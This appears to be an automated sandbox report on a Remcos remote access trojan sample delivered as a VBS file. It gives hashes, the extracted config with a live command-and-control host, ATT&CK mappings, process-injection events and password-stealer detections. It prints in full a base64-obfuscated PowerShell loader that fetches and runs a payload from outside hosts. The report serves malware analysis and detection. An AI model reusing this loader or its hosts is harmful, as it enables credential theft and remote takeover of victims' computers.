remcos | 7e8bb4f26c6c5f8a5b3100889af083a0a1db81e089daa27441fd77f429ec4acd

Analysis

max time kernel
297s
max time network
276s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
05-02-2025 07:00

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General

Target

05022025_0700_seethebestgirlseverrseenbestthignswithgreatnewsforu.vbs
Size

230KB
MD5

f9e6dc910b1dd203e9ef9e74c1992f08
SHA1

bfe0f7a6f15e3ca0a8d0bbe8ff699bd5674e8fe0
SHA256

7e8bb4f26c6c5f8a5b3100889af083a0a1db81e089daa27441fd77f429ec4acd
SHA512

a7db03931245571128ac6c6ac4eea360d5c36678b11948eb6ba6c5479b1f1a112785deaa59ddae73786a82af00494e24beabf63cffb8e88f7439f26f15d05db0
SSDEEP

3072:FbpVmI3b0mgfmWu+3EEELcdAeDu2VyO6mhGdBwJEEEcDK0sTcUAWDDBhmU0sZ0M9:FbpVBe9VOv7

Score

10^/10

remcos remotehost collection discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

gamdaan.duckdns.org:2345

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-1FQVIE
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/2380-36-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/1880-38-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/1904-37-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/1880-38-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/1904-37-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	4524	powershell.exe
8	4524	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	CasPol.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4524	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4524 set thread context of 4952	4524	powershell.exe	84
PID 4952 set thread context of 1904	4952	CasPol.exe	85
PID 4952 set thread context of 1880	4952	CasPol.exe	86
PID 4952 set thread context of 2380	4952	CasPol.exe	87

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4524	powershell.exe
4524	powershell.exe
2380	CasPol.exe
2380	CasPol.exe
1904	CasPol.exe
1904	CasPol.exe
1904	CasPol.exe
1904	CasPol.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
4952	CasPol.exe
4952	CasPol.exe
4952	CasPol.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4524	powershell.exe
Token: SeDebugPrivilege	2380	CasPol.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2304 wrote to memory of 4524	2304	WScript.exe	82
PID 2304 wrote to memory of 4524	2304	WScript.exe	82
PID 4524 wrote to memory of 4952	4524	powershell.exe	84
PID 4524 wrote to memory of 4952	4524	powershell.exe	84
PID 4524 wrote to memory of 4952	4524	powershell.exe	84
PID 4524 wrote to memory of 4952	4524	powershell.exe	84
PID 4524 wrote to memory of 4952	4524	powershell.exe	84
PID 4524 wrote to memory of 4952	4524	powershell.exe	84
PID 4524 wrote to memory of 4952	4524	powershell.exe	84
PID 4524 wrote to memory of 4952	4524	powershell.exe	84
PID 4524 wrote to memory of 4952	4524	powershell.exe	84
PID 4524 wrote to memory of 4952	4524	powershell.exe	84
PID 4952 wrote to memory of 1904	4952	CasPol.exe	85
PID 4952 wrote to memory of 1904	4952	CasPol.exe	85
PID 4952 wrote to memory of 1904	4952	CasPol.exe	85
PID 4952 wrote to memory of 1904	4952	CasPol.exe	85
PID 4952 wrote to memory of 1880	4952	CasPol.exe	86
PID 4952 wrote to memory of 1880	4952	CasPol.exe	86
PID 4952 wrote to memory of 1880	4952	CasPol.exe	86
PID 4952 wrote to memory of 1880	4952	CasPol.exe	86
PID 4952 wrote to memory of 2380	4952	CasPol.exe	87
PID 4952 wrote to memory of 2380	4952	CasPol.exe	87
PID 4952 wrote to memory of 2380	4952	CasPol.exe	87
PID 4952 wrote to memory of 2380	4952	CasPol.exe	87

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\05022025_0700_seethebestgirlseverrseenbestthignswithgreatnewsforu.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2304
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABvAHIAaQBnAGkAbgBhAGwAVABlAHgAdAAgAD0AIAAnAHQAeAB0AC4AcgBlAHYAbwBzAGcAbgBpAGgAdAB0AHMAZQBiAHkAbQBvAGQAbwB0AHMAZwBuAGkAaAB0AHQAcwBlAGIAZQBtAGUAZQBzAC8AMQAyADEALwA0ADgALgA2ADEAMQAuADkANQAuADYANAAxAC8ALwA6AHAAdAB0AGgAJwA7ACQAcgBlAHMAdABvAHIAZQBkAFQAZQB4AHQAIAA9ACAAJABvAHIAaQBnAGkAbgBhAGwAVABlAHgAdAAgAC0AcgBlAHAAbABhAGMAZQAgACcAIwAnACwAIAAnAHQAJwA7ACQAaQBtAGEAZwBlAFUAcgBsACAAPQAgACcAaAB0AHQAcABzADoALwAvAHIAZQBzAC4AYwBsAG8AdQBkAGkAbgBhAHIAeQAuAGMAbwBtAC8AZABhAHgAdwB1AGEANgAzAHkALwBpAG0AYQBnAGUALwB1AHAAbABvAGEAZAAvAHYAMQA3ADMAOAAzADMANAA1ADMAMwAvAGEAbABjAGIANABoAHQAbwBsAHoAdgBmAGgAegB6AHUAZgBxAGgANQAuAGoAcABnACcAOwAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABpAG0AYQBnAGUAVQByAGwAKQA7ACQAaQBtAGEAZwBlAFQAZQB4AHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwAkAHMAdABhAHIAdABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAkAHMAdABhAHIAdABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAHMAdABhAHIAdABGAGwAYQBnACkAOwAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAZQBuAGQASQBuAGQAZQB4ACAALQBnAHQAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAkAHMAdABhAHIAdABJAG4AZABlAHgAIAArAD0AIAAkAHMAdABhAHIAdABGAGwAYQBnAC4ATABlAG4AZwB0AGgAOwAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7ACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAKQA7ACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAKQA7ACQAdAB5AHAAZQAgAD0AIABbAEMAbABhAHMAcwBMAGkAYgByAGEAcgB5ADEALgBIAG8AbQBlAF0ALgBHAGUAdABNAGUAdABoAG8AZAAoACcAbQBhAGkAbgAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgAEAAKAAkAHIAZQBzAHQAbwByAGUAZABUAGUAeAB0ACwAJwBmAGEAbABzAGUAJwAsACcAQwBhAHMAUABvAGwAJwAsACcAZgBhAGwAcwBlACcAKQApAA==')) | Invoke-Expression"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4524
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
    3⤵
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:4952
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\lnzpnfgnysypvjkdeiozuagijv"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:1904
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\npmanyromaquxpypotbaentzsbtbf"
      4⤵
      Accesses Microsoft Outlook accounts
      System Location Discovery: System Language Discovery
      PID:1880
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\ykssoqciajjhhdutfenuhsoitilcywkhe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2380

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yhl1zmrl.rkk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\lnzpnfgnysypvjkdeiozuagijv

Filesize
4KB

MD5
7aca43b2800ceb18b3ed2326532545de

SHA1
d4cf207ef85bd749d59c1cb27a09c167ee21523a

SHA256
3d9f8622d97587fd84d3d0560a50ab38e5f894fe4b5bcaa34279643fdaaeb480

SHA512
0e002e6b8d965c227d9b1aa7c0251619c787ec7717e59667e756e5815e3666a955ea397eb148a1ed6bb7d8045727e4efa656a103f14bc70a03b03f0c91283c2f

Download Submit
memory/1880-38-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1880-33-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1880-31-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1904-37-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1904-30-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1904-32-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2380-35-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2380-36-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2380-34-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4524-14-0x000001A937A00000-0x000001A937A06000-memory.dmp

Filesize
24KB

Download
memory/4524-13-0x000001A937920000-0x000001A937932000-memory.dmp

Filesize
72KB

Download
memory/4524-12-0x00007FFF96F50000-0x00007FFF97A11000-memory.dmp

Filesize
10.8MB

Download
memory/4524-19-0x00007FFF96F50000-0x00007FFF97A11000-memory.dmp

Filesize
10.8MB

Download
memory/4524-11-0x00007FFF96F50000-0x00007FFF97A11000-memory.dmp

Filesize
10.8MB

Download
memory/4524-0-0x00007FFF96F53000-0x00007FFF96F55000-memory.dmp

Filesize
8KB

Download
memory/4524-1-0x000001A94FFA0000-0x000001A94FFC2000-memory.dmp

Filesize
136KB

Download
memory/4952-23-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-52-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-27-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-26-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-25-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-24-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-22-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-21-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-20-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-18-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-45-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/4952-48-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/4952-47-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/4952-15-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-49-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-50-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-51-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-29-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-53-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-54-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-55-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-56-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-57-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-58-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-59-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-60-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-61-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-62-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-64-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-63-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-65-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-66-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-68-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4952-67-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download